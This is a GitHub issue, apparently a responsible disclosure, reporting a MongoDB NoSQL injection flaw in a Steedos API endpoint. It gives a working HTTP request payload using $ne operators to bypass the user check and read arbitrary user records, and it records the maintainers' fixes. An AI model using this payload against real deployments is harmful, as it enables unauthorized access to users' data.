

New issue

Jump to bottom

Mongodb NoSQL 注入问题 #1245

🔒 Closed ghost opened this issue on Dec 21, 2020 · 2 comments

Assignees



Labels

done

priority: High

Milestone

🏠 1.22

ghost commented on Dec 21, 2020

接口对mongodb nosql操作验证不严, 可能导致nosql注入。详细可参考

<https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf>

大多数接口存在鉴权所以未登录无法利用, 这里仅仅举一个例子

漏洞产生原因

例如在 server/packages/steedos_base.js 中, 存在如下代码:

```
JsonRoutes.add("post", "/api/collection/findone", function (req, res, next) {
  ...
  if (req.body) {
    userId = req.body["X-User-Id"];
    authToken = req.body["X-Auth-Token"];
  }
  ...
  model = req.body.model;
  selector = req.body.selector;
  options = req.body.options;
  space = req.body.space;
  ...
  space_user = db.space_users.findOne({
    user: userId,
    space: space
  });
  ...
});
```

req.body.*可以是一个object, 利用\$ne等mongodb的query operator

<https://docs.mongodb.com/manual/reference/operator/query/>

构造 X-User-Id[\$ne]=1 这样的参数, 实际传入的参数就是 {user: {"\$ne":"1"},...}

就可以查询任意的space_user并返回用户信息

复现流程

1. 参考 https://www.steedos.com/help/deploy/deploy_docker 进行docker部署
2. 创建账号
3. 访问接口

```
POST /api/collection/findone HTTP/1.1
Host: <*>
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: <*>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

X-Auth-Token=1&X-User-Id[$ne]=1&space[$ne]=1&model=space_users
```

建议: 应该在nosql操作前验证参数类型

hotlong commented on Dec 21, 2020


Collaborator

Thanks

👤 hotlong assigned sunhaolin on Dec 21, 2020

🏷️ hotlong added the priority: High label on Dec 21, 2020

🏠 hotlong added this to the 1.22 milestone on Dec 21, 2020

 **sunhaolin** added a commit that referenced this issue on Dec 22, 2020


 MongoDB NoSQL 注入问题 [#1245](#)

0fabd95

 **sunhaolin** added a commit that referenced this issue on Dec 22, 2020

 不依赖X-User-Id [#1245](#)

1238b8d

 **sunhaolin** added the `done` label on Dec 23, 2020

LarkAnspach commented on Dec 24, 2020

Translate

 **hotlong** closed this as completed on Jan 14, 2021

Assignees

 **sunhaolin**

Labels

done priority: High

Projects

None yet

Milestone

1.22

Development

No branches or pull requests

3 participants

